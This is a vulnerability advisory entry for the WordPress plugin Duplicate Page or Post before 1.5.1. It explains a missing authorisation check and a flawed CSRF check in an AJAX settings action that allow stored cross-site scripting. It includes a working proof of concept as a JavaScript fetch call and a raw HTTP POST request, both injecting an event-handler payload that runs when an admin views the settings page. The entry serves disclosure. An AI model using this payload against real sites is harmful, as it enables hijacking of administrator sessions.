Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:DB5A0431-AF4D-45B7-BE4E-36B6C90A601B
HistoryJan 24, 2022 - 12:00 a.m.

Duplicate Page or Post < 1.5.1 - Arbitrary Settings Update to Stored XSS

2022-01-2400:00:00
Krzysztof Zając
80

0.001 Low

EPSS

Percentile

30.9%

The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin’s settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues v1.4.7 added authorisation, 1.4.8 added escaping, 1.5.1 fixed the flawed CSRF check

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "wpdevart_duplicate_post_parametrs_save_in_db", "title_prefix": '" style=animation-name:rotation onanimationstart=alert(/XSS/) p'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 140
Connection: close
Cookie: [any authenticated user]

action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+p


The XSS will be triggered when an admin access the plugin's settings page: https://example.com/wp-admin/admin.php?page=wpda_duplicate_post_menu

0.001 Low

EPSS

Percentile

30.9%

Related for WPEX-ID:DB5A0431-AF4D-45B7-BE4E-36B6C90A601B